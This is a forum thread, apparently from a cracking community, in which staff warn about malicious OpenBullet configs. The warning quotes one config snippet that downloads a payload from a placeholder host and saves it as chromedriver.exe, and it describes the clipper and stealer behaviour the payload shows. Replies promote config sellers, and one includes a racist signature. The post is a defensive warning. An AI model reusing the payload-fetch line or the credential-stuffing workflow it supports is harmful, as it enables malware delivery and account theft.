Staff Beware of malicious/infected configs

[19.078]

We have noticed an increased volume of malicious OpenBullet configs lately.
Like many other malware-related incidents, the attacker uses compromised accounts to spread and to reply to their threads.
Unlike other malware, a malicious config won't have any detection on VirusTotal because there is no code being executed; it's text.
In other words, VirusTotal isn't aware that your config will be loaded on OpenBullet, and it will be translated to a set of instructions.

The malware attack vector is a malicious GET request, and it looks like this:

Code:

REQUEST GET "https://site.com/config/API"

HEADER "User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
HEADER "Pragma: no-cache"
HEADER "Accept: */*"
-> FILE "bin/chromedriver.exe"

The GET request leads to the payload "API" being downloaded with no extension, in the folder "bin" and then renamed to "chromedriver.exe".
So far, we have seen this malware change the victim clipboarded Bitcoin address (clipper) and read numerous files containing system information (stealer).
The malware logs the victim IP address and sends the stolen data to a Telegram bot. Persistence is granted through a task on the Windows Task Scheduler.

At any time, the malware may change depending on the attacker needs. Here are a few steps you can take to step up your security:

(1) Enable Two Factor Authentication. It will prevent your account from being accessed if your logins have been stolen.
(2) Do not access Cracked on a virtual machine, or a remote desktop, where you usually run potentially malicious files.
(3) Read your config with any text editor to check for any malicious requests, like malware (GET requests) or hitloggers (POST requests).

Last but not least, report malicious configs.

 

AD by  @GoodEatsB4U exp 8/12/2024

 

 

 

Ad by @Bears - expiring 04-01-2025



Ad by @80s - expiring 1/10/2025

[1.163]

k +1 very much watch out and use logic

[1.609]

thanks for alerting ::

-----

 

[1.034]

Don't download configs from random ass people too.

^^^



If all the requests before go to one url, and then at the very end there is some random, delete it and see if the config still works

 

"Everyone want's to say the n-word, but nobody want's to be black"

 

 

 

 

[3.503]

thanks for the heads up

 

19k+ Sales - 5+ Years - LifeTime Warranty |List of  Products: https://rentry.co/1s1dstore

[81]

thanks for info .

for all.        

[1.151]

LOL what kind of scumbag does that?
Boyz that's why you should buy config from trusted seller 

Old discord got termed again, new discord: phantom.1337

Old discord got termed again, new discord: phantom.1337

[190]

Just make it your self it's easy AF